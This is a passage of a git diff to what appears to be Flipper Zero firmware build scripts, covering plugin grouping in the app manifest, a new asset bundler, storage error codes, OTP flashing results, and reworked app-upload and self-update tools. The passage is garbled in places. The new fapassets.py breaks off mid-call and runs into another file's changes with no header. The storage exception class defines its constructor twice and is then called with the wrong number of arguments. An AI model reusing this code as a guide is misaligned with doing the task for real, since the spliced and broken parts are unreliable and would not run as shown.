_appmanager=self, ), ) @@ -154,7 +185,6 @@ class AppBuildset: FlipperAppType.SERVICE, FlipperAppType.SYSTEM, FlipperAppType.APP, - FlipperAppType.PLUGIN, FlipperAppType.DEBUG, FlipperAppType.ARCHIVE, FlipperAppType.SETTINGS, @@ -181,6 +211,7 @@ class AppBuildset: self._check_conflicts() self._check_unsatisfied() # unneeded? self._check_target_match() + self._group_plugins() self.apps = sorted( list(map(self.appmgr.get, self.appnames)), key=lambda app: app.appid, @@ -260,6 +291,18 @@ class AppBuildset: f"Apps incompatible with target {self.hw_target}: {', '.join(incompatible)}" ) + def _group_plugins(self): + known_extensions = self.get_apps_of_type(FlipperAppType.PLUGIN, all_known=True) + for extension_app in known_extensions: + for parent_app_id in extension_app.requires: + try: + parent_app = self.appmgr.get(parent_app_id) + parent_app._plugins.append(extension_app) + except FlipperManifestException as e: + self._writer( + f"Module {extension_app.appid} has unknown parent {parent_app_id}" + ) + def get_apps_cdefs(self): cdefs = set() for app in self.apps: @@ -301,7 +344,6 @@ class ApplicationsCGenerator: FlipperAppType.SERVICE: ("FlipperApplication", "FLIPPER_SERVICES"), FlipperAppType.SYSTEM: ("FlipperApplication", "FLIPPER_SYSTEM_APPS"), FlipperAppType.APP: ("FlipperApplication", "FLIPPER_APPS"), - FlipperAppType.PLUGIN: ("FlipperApplication", "FLIPPER_PLUGINS"), FlipperAppType.DEBUG: ("FlipperApplication", "FLIPPER_DEBUG_APPS"), FlipperAppType.SETTINGS: ("FlipperApplication", "FLIPPER_SETTINGS_APPS"), FlipperAppType.STARTUP: ("FlipperOnStartHook", "FLIPPER_ON_SYSTEM_START"), @@ -319,13 +361,21 @@ class ApplicationsCGenerator: def get_app_descr(self, app: FlipperApplication): if app.apptype == FlipperAppType.STARTUP: return app.entry_point + if app.apptype == FlipperAppType.EXTMAINAPP: + return f""" + {{.app = NULL, + .name = "{app.name}", + .appid = "/ext/apps/.Main/{app.appid}.fap", + .stack_size = 0, + .icon = {f"&{app.icon}" if app.icon else "NULL"}, + .flags = {'|'.join(f"FlipperApplicationFlag{flag}" for flag in app.flags)}}}""" return f""" {{.app = {app.entry_point}, .name = "{app.name}", - .appid = "{app.appid}", + .appid = "{app.appid}", .stack_size = {app.stack_size}, .icon = {f"&{app.icon}" if app.icon else "NULL"}, - .flags = {'|'.join(f"FlipperApplicationFlag{flag}" for flag in app.flags)} }}""" + .flags = {'|'.join(f"FlipperApplicationFlag{flag}" for flag in app.flags)}}}""" def generate(self): contents = [ @@ -339,11 +389,11 @@ class ApplicationsCGenerator: ) entry_type, entry_block = self.APP_TYPE_MAP[apptype] contents.append(f"const {entry_type} {entry_block}[] = {{") - contents.append( - ",\n".join( - map(self.get_app_descr, self.buildset.get_apps_of_type(apptype)) - ) - ) + apps = self.buildset.get_apps_of_type(apptype) + if apptype is FlipperAppType.APP: + apps += self.buildset.get_apps_of_type(FlipperAppType.EXTMAINAPP) + apps.sort(key=lambda app: app.order) + contents.append(",\n".join(map(self.get_app_descr, apps))) contents.append("};") contents.append( f"const size_t {entry_block}_COUNT = COUNT_OF({entry_block});" diff --git a/scripts/fbt/fapassets.py b/scripts/fbt/fapassets.py new file mode 100644 index 000000000..0649f03ef --- /dev/null +++ b/scripts/fbt/fapassets.py @@ -0,0 +1,108 @@ +import os +import hashlib +import struct +from typing import TypedDict + + +class File(TypedDict): + path: str + size: int + content_path: str + + +class Dir(TypedDict): + path: str + + +class FileBundler: + """ + u32 magic + u32 version + u32 dirs_count + u32 files_count + u32 signature_size + u8[] signature + Dirs: + u32 dir_name length + u8[] dir_name + Files: + u32 file_name length + u8[] file_name + u32 file_content_size + u8[] file_content + """ + + def __init__(self, directory_path: str): + self.directory_path = directory_path + self.file_list: list[File] = [] + self.directory_list: list[Dir] = [] + self._gather() + + def _gather(self): + for root, dirs, files in os.walk(self.directory_path): + for file_info in files: + file_path = os.path.join(root, file_info) + file_size = os.path.getsize(file_path) + self.file_list.append( + { + "path": os.path.relpath(file_path, self.directory_path), + "size": file_size, + "content_path": file_path, + } + ) + + for dir_info in dirs: + dir_path = os.path.join(root, dir_info) + # dir_size = sum( + # os.path.getsize(os.path.join(dir_path, f)) for f in os.listdir(dir_path) + # ) + self.directory_list.append( + { + "path": os.path.relpath(dir_path, self.directory_path), + } + ) + + self.file_list.sort(key=lambda f: f["path"]) + self.directory_list.sort(key=lambda d: d["path"]) + + def export(self, target_path: str): + self._md5_hash = hashlib.md5() + with open(target_path, "wb") as f: + # Write header magic and version + f.write(struct.pack(" FlipperExternalAppInfo + EXT_LIBS={}, + _APP_ICONS=[], ) env.AddMethod(BuildAppElf) - env.AddMethod(GetExtAppFromPath) + env.AddMethod(GetExtAppByIdOrPath) env.Append( BUILDERS={ "FapDist": Builder( @@ -295,21 +424,10 @@ def generate(env, **kw): emitter=resources_fap_dist_emitter, ), "EmbedAppMetadata": Builder( - action=[ - Action(prepare_app_metadata, "$APPMETA_COMSTR"), - Action( - "${OBJCOPY} " - "--remove-section .ARM.attributes " - "--add-section .fapmeta=${SOURCE}.meta " - "--set-section-flags .fapmeta=contents,noload,readonly,data " - "--strip-debug --strip-unneeded " - "--add-gnu-debuglink=${SOURCE} " - "${SOURCES} ${TARGET}", - "$APPMETAEMBED_COMSTR", - ), - ], + generator=generate_embed_app_metadata_actions, suffix=".fap", src_suffix=".elf", + emitter=embed_app_metadata_emitter, ), "ValidateAppImports": Builder( action=[ diff --git a/scripts/fbt_tools/fbt_sdk.py b/scripts/fbt_tools/fbt_sdk.py index 3a37eacc9..324819818 100644 --- a/scripts/fbt_tools/fbt_sdk.py +++ b/scripts/fbt_tools/fbt_sdk.py @@ -220,7 +220,7 @@ def gen_sdk_data(sdk_cache: SdkCache): def _check_sdk_is_up2date(sdk_cache: SdkCache): if not sdk_cache.is_buildable(): raise UserError( - "SDK version is not finalized, please review changes and re-run operation" + "SDK version is not finalized, please review changes and re-run operation. See AppsOnSDCard.md for more details" ) diff --git a/scripts/flipper/storage.py b/scripts/flipper/storage.py index 9c9f52958..47e11236d 100644 --- a/scripts/flipper/storage.py +++ b/scripts/flipper/storage.py @@ -4,6 +4,9 @@ import serial import time import hashlib import math +import logging +import posixpath +import enum def timing(func): @@ -25,12 +28,47 @@ def timing(func): return wrapper +class StorageErrorCode(enum.Enum): + OK = "OK" + NOT_READY = "filesystem not ready" + EXIST = "file/dir already exist" + NOT_EXIST = "file/dir not exist" + INVALID_PARAMETER = "invalid parameter" + DENIED = "access denied" + INVALID_NAME = "invalid name/path" + INTERNAL = "internal error" + NOT_IMPLEMENTED = "function not implemented" + ALREADY_OPEN = "file is already open" + UNKNOWN = "unknown error" + + @property + def is_error(self): + return self != self.OK + + @classmethod + def from_value(cls, s: str | bytes): + if isinstance(s, bytes): + s = s.decode("ascii") + for code in cls: + if code.value == s: + return code + return cls.UNKNOWN + + +class FlipperStorageException(Exception): + def __init__(self, message): + super().__init__(f"Storage error: {message}") + + def __init__(self, path: str, error_code: StorageErrorCode): + super().__init__(f"Storage error: path '{path}': {error_code.value}") + + class BufferedRead: def __init__(self, stream): self.buffer = bytearray() self.stream = stream - def until(self, eol="\n", cut_eol=True): + def until(self, eol: str = "\n", cut_eol: bool = True): eol = eol.encode("ascii") while True: # search in buffer @@ -59,9 +97,15 @@ class FlipperStorage: self.port.timeout = 2 self.port.baudrate = 115200 # Doesn't matter for VCP self.read = BufferedRead(self.port) - self.last_error = "" self.chunk_size = chunk_size + def __enter__(self): + self.start() + return self + + def __exit__(self, exc_type, exc_value, traceback): + self.stop() + def start(self): self.port.open() self.port.reset_input_buffer() @@ -71,37 +115,34 @@ class FlipperStorage: # And read buffer until we get prompt self.read.until(self.CLI_PROMPT) - def stop(self): + def stop(self) -> None: self.port.close() - def send(self, line): + def send(self, line: str) -> None: self.port.write(line.encode("ascii")) - def send_and_wait_eol(self, line): + def send_and_wait_eol(self, line: str): self.send(line) return self.read.until(self.CLI_EOL) - def send_and_wait_prompt(self, line): + def send_and_wait_prompt(self, line: str): self.send(line) return self.read.until(self.CLI_PROMPT) - def has_error(self, data): - """Is data has error""" - if data.find(b"Storage error") != -1: - return True - else: - return False + def has_error(self, data: bytes | str) -> bool: + """Is data an error message""" + return data.find(b"Storage error:") != -1 - def get_error(self, data): + def get_error(self, data: bytes) -> StorageErrorCode: """Extract error text from data and print it""" - error, error_text = data.decode("ascii").split(": ") - return error_text.strip() + _, error_text = data.decode("ascii").split(": ") + return StorageErrorCode.from_value(error_text.strip()) - def list_tree(self, path="/", level=0): + def list_tree(self, path: str = "/", level: int = 0): """List files and dirs on Flipper""" path = path.replace("//", "/") - self.send_and_wait_eol('storage list "' + path + '"\r') + self.send_and_wait_eol(f'storage list "{path}"\r') data = self.read.until(self.CLI_PROMPT) lines = data.split(b"\r\n") @@ -139,7 +180,7 @@ class FlipperStorage: # Something wrong, pass pass - def walk(self, path="/"): + def walk(self, path: str = "/"): dirs = [] nondirs = [] walk_dirs = [] @@ -181,14 +222,15 @@ class FlipperStorage: # Something wrong, pass pass - # topdown walk, yield before recursy + # topdown walk, yield before recursing yield path, dirs, nondirs for new_path in walk_dirs: yield from self.walk(new_path) - def send_file(self, filename_from, filename_to): + def send_file(self, filename_from: str, filename_to: str): """Send file from local device to Flipper""" - self.remove(filename_to) + if self.exist_file(filename_to): + self.remove(filename_to) with open(filename_from, "rb") as file: filesize = os.fstat(file.fileno()).st_size @@ -203,9 +245,9 @@ class FlipperStorage: self.send_and_wait_eol(f'storage write_chunk "{filename_to}" {size}\r') answer = self.read.until(self.CLI_EOL) if self.has_error(answer): - self.last_error = self.get_error(answer) + last_error = self.get_error(answer) self.read.until(self.CLI_PROMPT) - return False + raise FlipperStorageException(filename_to, last_error) self.port.write(filedata) self.read.until(self.CLI_PROMPT) @@ -218,9 +260,8 @@ class FlipperStorage: ) sys.stdout.flush() print() - return True - def read_file(self, filename): + def read_file(self, filename: str): """Receive file from Flipper, and get filedata (bytes)""" buffer_size = self.chunk_size self.send_and_wait_eol( @@ -229,9 +270,10 @@ class FlipperStorage: answer = self.read.until(self.CLI_EOL) filedata = bytearray() if self.has_error(answer): - self.last_error = self.get_error(answer) + last_error = self.get_error(answer) self.read.until(self.CLI_PROMPT) - return filedata + raise FlipperStorageException(filename, last_error) + # return filedata size = int(answer.split(b": ")[1]) read_size = 0 @@ -251,121 +293,89 @@ class FlipperStorage: self.read.until(self.CLI_PROMPT) return filedata - def receive_file(self, filename_from, filename_to): + def receive_file(self, filename_from: str, filename_to: str): """Receive file from Flipper to local storage""" with open(filename_to, "wb") as file: data = self.read_file(filename_from) - if not data: - return False - else: - file.write(data) - return True + file.write(data) - def exist(self, path): - """Is file or dir exist on Flipper""" - self.send_and_wait_eol('storage stat "' + path + '"\r') - answer = self.read.until(self.CLI_EOL) + def exist(self, path: str): + """Does file or dir exist on Flipper""" + self.send_and_wait_eol(f'storage stat "{path}"\r') + response = self.read.until(self.CLI_EOL) self.read.until(self.CLI_PROMPT) - if self.has_error(answer): - self.last_error = self.get_error(answer) - return False - else: - return True + return not self.has_error(response) - def exist_dir(self, path): - """Is dir exist on Flipper""" - self.send_and_wait_eol('storage stat "' + path + '"\r') - answer = self.read.until(self.CLI_EOL) + def exist_dir(self, path: str): + """Does dir exist on Flipper""" + self.send_and_wait_eol(f'storage stat "{path}"\r') + response = self.read.until(self.CLI_EOL) + self.read.until(self.CLI_PROMPT) + if self.has_error(response): + error_code = self.get_error(response) + if error_code in ( + StorageErrorCode.NOT_EXIST, + StorageErrorCode.INVALID_NAME, + ): + return False + raise FlipperStorageException(path, error_code) + + return True + + def exist_file(self, path: str): + """Does file exist on Flipper""" + self.send_and_wait_eol(f'storage stat "{path}"\r') + response = self.read.until(self.CLI_EOL) self.read.until(self.CLI_PROMPT) - if self.has_error(answer): - self.last_error = self.get_error(answer) - return False - else: - if answer.find(b"Directory") != -1: - return True - elif answer.find(b"Storage") != -1: - return True - else: - return False + return response.find(b"File, size:") != -1 - def exist_file(self, path): - """Is file exist on Flipper""" - self.send_and_wait_eol('storage stat "' + path + '"\r') - answer = self.read.until(self.CLI_EOL) - self.read.until(self.CLI_PROMPT) + def _check_no_error(self, response, path=None): + if self.has_error(response): + raise FlipperStorageException(self.get_error(response)) - if self.has_error(answer): - self.last_error = self.get_error(answer) - return False - else: - if answer.find(b"File, size:") != -1: - return True - else: - return False - - def size(self, path): + def size(self, path: str): """file size on Flipper""" - self.send_and_wait_eol('storage stat "' + path + '"\r') - answer = self.read.until(self.CLI_EOL) + self.send_and_wait_eol(f'storage stat "{path}"\r') + response = self.read.until(self.CLI_EOL) self.read.until(self.CLI_PROMPT) - if self.has_error(answer): - self.last_error = self.get_error(answer) - return False - else: - if answer.find(b"File, size:") != -1: - size = int( - "".join( - ch - for ch in answer.split(b": ")[1].decode("ascii") - if ch.isdigit() - ) + self._check_no_error(response, path) + if response.find(b"File, size:") != -1: + size = int( + "".join( + ch + for ch in response.split(b": ")[1].decode("ascii") + if ch.isdigit() ) - return size - else: - self.last_error = "access denied" - return -1 + ) + return size + raise FlipperStorageException("Not a file") - def mkdir(self, path): + def mkdir(self, path: str): """Create a directory on Flipper""" - self.send_and_wait_eol('storage mkdir "' + path + '"\r') - answer = self.read.until(self.CLI_EOL) + self.send_and_wait_eol(f'storage mkdir "{path}"\r') + response = self.read.until(self.CLI_EOL) self.read.until(self.CLI_PROMPT) - - if self.has_error(answer): - self.last_error = self.get_error(answer) - return False - else: - return True + self._check_no_error(response, path) def format_ext(self): - """Create a directory on Flipper""" + """Format external storage on Flipper""" self.send_and_wait_eol("storage format /ext\r") self.send_and_wait_eol("y\r") - answer = self.read.until(self.CLI_EOL) + response = self.read.until(self.CLI_EOL) self.read.until(self.CLI_PROMPT) + self._check_no_error(response, "/ext") - if self.has_error(answer): - self.last_error = self.get_error(answer) - return False - else: - return True - - def remove(self, path): + def remove(self, path: str): """Remove file or directory on Flipper""" - self.send_and_wait_eol('storage remove "' + path + '"\r') - answer = self.read.until(self.CLI_EOL) + self.send_and_wait_eol(f'storage remove "{path}"\r') + response = self.read.until(self.CLI_EOL) self.read.until(self.CLI_PROMPT) + self._check_no_error(response, path) - if self.has_error(answer): - self.last_error = self.get_error(answer) - return False - else: - return True - - def hash_local(self, filename): + def hash_local(self, filename: str): """Hash of local file""" hash_md5 = hashlib.md5() with open(filename, "rb") as f: @@ -373,14 +383,112 @@ class FlipperStorage: hash_md5.update(chunk) return hash_md5.hexdigest() - def hash_flipper(self, filename): + def hash_flipper(self, filename: str): """Get hash of file on Flipper""" self.send_and_wait_eol('storage md5 "' + filename + '"\r') hash = self.read.until(self.CLI_EOL) self.read.until(self.CLI_PROMPT) + self._check_no_error(hash, filename) + return hash.decode("ascii") - if self.has_error(hash): - self.last_error = self.get_error(hash) - return "" + +class FlipperStorageOperations: + def __init__(self, storage): + self.storage: FlipperStorage = storage + self.logger = logging.getLogger("FStorageOps") + + def send_file_to_storage( + self, flipper_file_path: str, local_file_path: str, force: bool = False + ): + self.logger.debug( + f"* send_file_to_storage: {local_file_path}->{flipper_file_path}, {force=}" + ) + exists = self.storage.exist_file(flipper_file_path) + do_upload = not exists + if exists: + hash_local = self.storage.hash_local(local_file_path) + hash_flipper = self.storage.hash_flipper(flipper_file_path) + self.logger.debug(f"hash check: local {hash_local}, flipper {hash_flipper}") + do_upload = force or (hash_local != hash_flipper) + + if do_upload: + self.logger.info(f'Sending "{local_file_path}" to "{flipper_file_path}"') + self.storage.send_file(local_file_path, flipper_file_path) + + # make directory with exist check + def mkpath(self, flipper_dir_path: str): + path_components, dirs_to_create = flipper_dir_path.split("/"), [] + while not self.storage.exist_dir(dir_path := "/".join(path_components)): + self.logger.debug(f'"{dir_path}" does not exist, will create') + dirs_to_create.append(path_components.pop()) + for dir_to_create in reversed(dirs_to_create): + path_components.append(dir_to_create) + self.storage.mkdir("/".join(path_components)) + + # send file or folder recursively + def recursive_send(self, flipper_path: str, local_path: str, force: bool = False): + if not os.path.exists(local_path): + raise FlipperStorageException(f'"{local_path}" does not exist') + + if os.path.isdir(local_path): + # create parent dir + self.mkpath(flipper_path) + + for dirpath, dirnames, filenames in os.walk(local_path): + self.logger.debug(f'Processing directory "{os.path.normpath(dirpath)}"') + dirnames.sort() + filenames.sort() + rel_path = os.path.relpath(dirpath, local_path) + + # create subdirs + for dirname in dirnames: + flipper_dir_path = os.path.join(flipper_path, rel_path, dirname) + flipper_dir_path = os.path.normpath(flipper_dir_path).replace( + os.sep, "/" + ) + self.mkpath(flipper_dir_path) + + # send files + for filename in filenames: + flipper_file_path = os.path.join(flipper_path, rel_path, filename) + flipper_file_path = os.path.normpath(flipper_file_path).replace( + os.sep, "/" + ) + local_file_path = os.path.normpath(os.path.join(dirpath, filename)) + self.send_file_to_storage(flipper_file_path, local_file_path, force) else: - return hash.decode("ascii") + self.mkpath(posixpath.dirname(flipper_path)) + self.send_file_to_storage(flipper_path, local_path, force) + + def recursive_receive(self, flipper_path: str, local_path: str): + if self.storage.exist_dir(flipper_path): + for dirpath, dirnames, filenames in self.storage.walk(flipper_path): + self.logger.debug( + f'Processing directory "{os.path.normpath(dirpath)}"'.replace( + os.sep, "/" + ) + ) + dirnames.sort() + filenames.sort() + + rel_path = os.path.relpath(dirpath, flipper_path) + + for dirname in dirnames: + local_dir_path = os.path.join(local_path, rel_path, dirname) + local_dir_path = os.path.normpath(local_dir_path) + os.makedirs(local_dir_path, exist_ok=True) + + for filename in filenames: + local_file_path = os.path.join(local_path, rel_path, filename) + local_file_path = os.path.normpath(local_file_path) + flipper_file_path = os.path.normpath( + os.path.join(dirpath, filename) + ).replace(os.sep, "/") + self.logger.info( + f'Receiving "{flipper_file_path}" to "{local_file_path}"' + ) + self.storage.receive_file(flipper_file_path, local_file_path) + + else: + self.logger.info(f'Receiving "{flipper_path}" to "{local_path}"') + self.storage.receive_file(flipper_path, local_path) diff --git a/scripts/flipper/utils/programmer_openocd.py b/scripts/flipper/utils/programmer_openocd.py index b33406103..3d2171854 100644 --- a/scripts/flipper/utils/programmer_openocd.py +++ b/scripts/flipper/utils/programmer_openocd.py @@ -1,6 +1,7 @@ import logging import os import typing +from enum import Enum from flipper.utils.programmer import Programmer from flipper.utils.openocd import OpenOCD @@ -8,6 +9,14 @@ from flipper.utils.stm32wb55 import STM32WB55 from flipper.assets.obdata import OptionBytesData +class OpenOCDProgrammerResult(Enum): + Success = 0 + ErrorGeneric = 1 + ErrorAlignment = 2 + ErrorAlreadyWritten = 3 + ErrorValidation = 4 + + class OpenOCDProgrammer(Programmer): def __init__( self, @@ -199,18 +208,18 @@ class OpenOCDProgrammer(Programmer): return True - def otp_write(self, address: int, file_path: str) -> bool: + def otp_write(self, address: int, file_path: str) -> OpenOCDProgrammerResult: # Open file, check that it aligned to 8 bytes with open(file_path, "rb") as f: data = f.read() if len(data) % 8 != 0: self.logger.error(f"File {file_path} is not aligned to 8 bytes") - return False + return OpenOCDProgrammerResult.ErrorAlignment # Check that address is aligned to 8 bytes if address % 8 != 0: self.logger.error(f"Address {address} is not aligned to 8 bytes") - return False + return OpenOCDProgrammerResult.ErrorAlignment # Get size of data data_size = len(data) @@ -218,7 +227,7 @@ class OpenOCDProgrammer(Programmer): # Check that data size is aligned to 8 bytes if data_size % 8 != 0: self.logger.error(f"Data size {data_size} is not aligned to 8 bytes") - return False + return OpenOCDProgrammerResult.ErrorAlignment self.logger.debug(f"Writing {data_size} bytes to OTP at {address:08X}") self.logger.debug(f"Data: {data.hex().upper()}") @@ -241,14 +250,14 @@ class OpenOCDProgrammer(Programmer): self.logger.error( f"OTP memory at {address + i:08X} is not empty: {device_word:08X}" ) - raise Exception("OTP memory is not empty") + return OpenOCDProgrammerResult.ErrorAlreadyWritten if device_word != file_word: already_written = False if already_written: self.logger.info(f"OTP memory is already written with the given data") - return True + return OpenOCDProgrammerResult.Success self.reset(self.RunMode.Stop) stm32.clear_flash_errors(oocd) @@ -278,4 +287,8 @@ class OpenOCDProgrammer(Programmer): stm32.reset(oocd, stm32.RunMode.Run) oocd.stop() - return validation_result + return ( + OpenOCDProgrammerResult.Success + if validation_result + else OpenOCDProgrammerResult.ErrorValidation + ) diff --git a/scripts/otp.py b/scripts/otp.py index 3bfe30d2d..cb76bdc86 100755 --- a/scripts/otp.py +++ b/scripts/otp.py @@ -34,8 +34,16 @@ OTP_DISPLAYS = { } from flipper.app import App -from flipper.cube import CubeProgrammer -from flipper.utils.programmer_openocd import OpenOCDProgrammer +from flipper.utils.programmer_openocd import OpenOCDProgrammer, OpenOCDProgrammerResult + + +class OTPException(Exception): + def __init__(self, message: str, result: OpenOCDProgrammerResult): + self.message = message + self.result = result + + def get_exit_code(self) -> int: + return int(self.result.value) class Main(App): @@ -183,13 +191,14 @@ class Main(App): self.args.serial, ) - if not openocd.otp_write(0x1FFF7000, filename): - raise Exception("Failed to flash OTP") + programmer_result = openocd.otp_write(0x1FFF7000, filename) + if programmer_result != OpenOCDProgrammerResult.Success: + raise OTPException("Failed to flash OTP", programmer_result) self.logger.info(f"Flashed Successfully") - except Exception as e: + except OTPException as e: self.logger.exception(e) - return 1 + return e.get_exit_code() finally: os.remove(filename) @@ -215,13 +224,14 @@ class Main(App): self.args.serial, ) - if not openocd.otp_write(0x1FFF7010, filename): - raise Exception("Failed to flash OTP") + programmer_result = openocd.otp_write(0x1FFF7010, filename) + if programmer_result != OpenOCDProgrammerResult.Success: + raise OTPException("Failed to flash OTP", programmer_result) self.logger.info(f"Flashed Successfully") - except Exception as e: + except OTPException as e: self.logger.exception(e) - return 1 + return e.get_exit_code() finally: os.remove(filename) @@ -249,13 +259,14 @@ class Main(App): self.args.serial, ) - if not openocd.otp_write(0x1FFF7000, filename): - raise Exception("Failed to flash OTP") + programmer_result = openocd.otp_write(0x1FFF7000, filename) + if programmer_result != OpenOCDProgrammerResult.Success: + raise OTPException("Failed to flash OTP", programmer_result) self.logger.info(f"Flashed Successfully") - except Exception as e: + except OTPException as e: self.logger.exception(e) - return 1 + return e.get_exit_code() finally: os.remove(filename) diff --git a/scripts/requirements.txt b/scripts/requirements.txt deleted file mode 100644 index 5b6fac5f7..000000000 --- a/scripts/requirements.txt +++ /dev/null @@ -1,9 +0,0 @@ -ansi==0.3.6 -black==22.6.0 -colorlog==6.7.0 -heatshrink2==0.11.0 -Pillow==9.1.1 -protobuf==3.20.1 -pyserial==3.5 -python3-protobuf==2.5.0 -SCons==4.4.0 diff --git a/scripts/runfap.py b/scripts/runfap.py index 410b3e7d2..397238c69 100644 --- a/scripts/runfap.py +++ b/scripts/runfap.py @@ -1,108 +1,86 @@ #!/usr/bin/env python3 -import posixpath -from typing import final from flipper.app import App -from flipper.storage import FlipperStorage +from flipper.storage import FlipperStorage, FlipperStorageOperations from flipper.utils.cdc import resolve_port -import logging import os -import pathlib -import serial.tools.list_ports as list_ports +import posixpath +from functools import reduce +import operator class Main(App): def init(self): self.parser.add_argument("-p", "--port", help="CDC Port", default="auto") self.parser.add_argument( - "-n", - "--no-launch", - dest="launch_app", - action="store_false", - help="Don't launch app", + "--sources", + "-s", + nargs="+", + action="append", + default=[], + help="Files to send", + ) + self.parser.add_argument( + "--targets", + "-t", + nargs="+", + action="append", + default=[], + help="File destinations (must be same length as -s)", + ) + self.parser.add_argument( + "--host-app", + "-a", + help="Host app to launch", ) - self.parser.add_argument("fap_src_path", help="App file to upload") - self.parser.add_argument( - "--fap_dst_dir", help="Upload path", default="/ext/apps", required=False - ) self.parser.set_defaults(func=self.install) - # logging - self.logger = logging.getLogger() - - # make directory with exist check - def mkdir_on_storage(self, storage, flipper_dir_path): - if not storage.exist_dir(flipper_dir_path): - self.logger.debug(f'"{flipper_dir_path}" does not exist, creating') - if not storage.mkdir(flipper_dir_path): - self.logger.error(f"Error: {storage.last_error}") - return False - else: - self.logger.debug(f'"{flipper_dir_path}" already exists') - return True - - # send file with exist check and hash check - def send_file_to_storage(self, storage, flipper_file_path, local_file_path, force): - exists = storage.exist_file(flipper_file_path) - do_upload = not exists - if exists: - hash_local = storage.hash_local(local_file_path) - hash_flipper = storage.hash_flipper(flipper_file_path) - self.logger.debug(f"hash check: local {hash_local}, flipper {hash_flipper}") - do_upload = force or (hash_local != hash_flipper) - - if do_upload: - self.logger.info(f'Sending "{local_file_path}" to "{flipper_file_path}"') - if not storage.send_file(local_file_path, flipper_file_path): - self.logger.error(f"Error: {storage.last_error}") - return False - return True + @staticmethod + def flatten(l): + return reduce(operator.concat, l, []) def install(self): - if not (port := resolve_port(self.logger, self.args.port)): + self.args.sources = self.flatten(self.args.sources) + self.args.targets = self.flatten(self.args.targets) + + if len(self.args.sources) != len(self.args.targets): + self.logger.error( + f"Error: sources ({self.args.sources}) and targets ({self.args.targets}) must be same length" + ) return 1 - storage = FlipperStorage(port) - storage.start() + if not (port := resolve_port(self.logger, self.args.port)): + return 2 try: - fap_local_path = self.args.fap_src_path - self.args.fap_dst_dir = self.args.fap_dst_dir.rstrip("/\\") + with FlipperStorage(port) as storage: + storage_ops = FlipperStorageOperations(storage) + for fap_local_path, fap_dst_path in zip( + self.args.sources, self.args.targets + ): + self.logger.info(f'Installing "{fap_local_path}" to {fap_dst_path}') - if not os.path.isfile(fap_local_path): - self.logger.error(f"Error: source .fap ({fap_local_path}) not found") - return -1 + storage_ops.recursive_send(fap_dst_path, fap_local_path, False) - fap_dst_path = posixpath.join( - self.args.fap_dst_dir, os.path.basename(fap_local_path) - ) + fap_host_app = self.args.targets[0] + startup_command = f'"Apps" {fap_host_app}' + if self.args.host_app: + startup_command = self.args.host_app - self.logger.info(f'Installing "{fap_local_path}" to {fap_dst_path}') + self.logger.info(f"Launching app: {startup_command}") + storage.send_and_wait_eol(f"loader open {startup_command}\r") - if not self.mkdir_on_storage(storage, self.args.fap_dst_dir): - self.logger.error(f"Error: cannot create dir: {storage.last_error}") - return -2 - - if not self.send_file_to_storage( - storage, fap_dst_path, fap_local_path, False - ): - self.logger.error(f"Error: upload failed: {storage.last_error}") - return -3 - - if self.args.launch_app: - storage.send_and_wait_eol( - f'loader open "Applications" {fap_dst_path}\r' - ) - result = storage.read.until(storage.CLI_EOL) - if len(result): + if len(result := storage.read.until(storage.CLI_EOL)): self.logger.error(f"Unexpected response: {result.decode('ascii')}") - return -4 + return 3 + return 0 - return 0 - finally: - storage.stop() + except Exception as e: + self.logger.error(f"Error: {e}") + # raise + return 4 if __name__ == "__main__": diff --git a/scripts/selfupdate.py b/scripts/selfupdate.py index 1c16c5ca6..9bfbfefa3 100644 --- a/scripts/selfupdate.py +++ b/scripts/selfupdate.py @@ -2,7 +2,7 @@ from typing import final from flipper.app import App -from flipper.storage import FlipperStorage +from flipper.storage import FlipperStorage, FlipperStorageOperations from flipper.utils.cdc import resolve_port import logging @@ -24,89 +24,47 @@ class Main(App): # logging self.logger = logging.getLogger() - # make directory with exist check - def mkdir_on_storage(self, storage, flipper_dir_path): - if not storage.exist_dir(flipper_dir_path): - self.logger.debug(f'"{flipper_dir_path}" does not exist, creating') - if not storage.mkdir(flipper_dir_path): - self.logger.error(f"Error: {storage.last_error}") - return False - else: - self.logger.debug(f'"{flipper_dir_path}" already exists') - return True - - # send file with exist check and hash check - def send_file_to_storage(self, storage, flipper_file_path, local_file_path, force): - exists = storage.exist_file(flipper_file_path) - do_upload = not exists - if exists: - hash_local = storage.hash_local(local_file_path) - hash_flipper = storage.hash_flipper(flipper_file_path) - self.logger.debug(f"hash check: local {hash_local}, flipper {hash_flipper}") - do_upload = force or (hash_local != hash_flipper) - - if do_upload: - self.logger.info(f'Sending "{local_file_path}" to "{flipper_file_path}"') - if not storage.send_file(local_file_path, flipper_file_path): - self.logger.error(f"Error: {storage.last_error}") - return False - return True - def install(self): if not (port := resolve_port(self.logger, self.args.port)): return 1 - storage = FlipperStorage(port) - storage.start() + if not os.path.isfile(self.args.manifest_path): + self.logger.error("Error: manifest not found") + return 2 + + manifest_path = pathlib.Path(os.path.abspath(self.args.manifest_path)) + manifest_name, pkg_name = manifest_path.parts[-1], manifest_path.parts[-2] + + pkg_dir_name = self.args.pkg_dir_name or pkg_name + update_root = "/ext/update" + flipper_update_path = f"{update_root}/{pkg_dir_name}" + + self.logger.info(f'Installing "{pkg_name}" from {flipper_update_path}') try: - if not os.path.isfile(self.args.manifest_path): - self.logger.error("Error: manifest not found") - return 2 + with FlipperStorage(port) as storage: + storage_ops = FlipperStorageOperations(storage) + storage_ops.mkpath(update_root) + storage_ops.mkpath(flipper_update_path) + storage_ops.recursive_send( + flipper_update_path, manifest_path.parents[0] + ) - manifest_path = pathlib.Path(os.path.abspath(self.args.manifest_path)) - manifest_name, pkg_name = manifest_path.parts[-1], manifest_path.parts[-2] - - pkg_dir_name = self.args.pkg_dir_name or pkg_name - update_root = "/ext/update" - flipper_update_path = f"{update_root}/{pkg_dir_name}" - - self.logger.info(f'Installing "{pkg_name}" from {flipper_update_path}') - # if not os.path.exists(self.args.manifest_path): - # self.logger.error("Error: package not found") - if not self.mkdir_on_storage( - storage, update_root - ) or not self.mkdir_on_storage(storage, flipper_update_path): - self.logger.error(f"Error: cannot create {storage.last_error}") - return -2 - - for dirpath, dirnames, filenames in os.walk(manifest_path.parents[0]): - for fname in filenames: - self.logger.debug(f"Uploading {fname}") - local_file_path = os.path.join(dirpath, fname) - flipper_file_path = f"{flipper_update_path}/{fname}" - if not self.send_file_to_storage( - storage, flipper_file_path, local_file_path, False - ): - self.logger.error(f"Error: {storage.last_error}") - return -3 - - # return -11 storage.send_and_wait_eol( f"update install {flipper_update_path}/{manifest_name}\r" ) result = storage.read.until(storage.CLI_EOL) if not b"Verifying" in result: self.logger.error(f"Unexpected response: {result.decode('ascii')}") - return -4 + return 3 result = 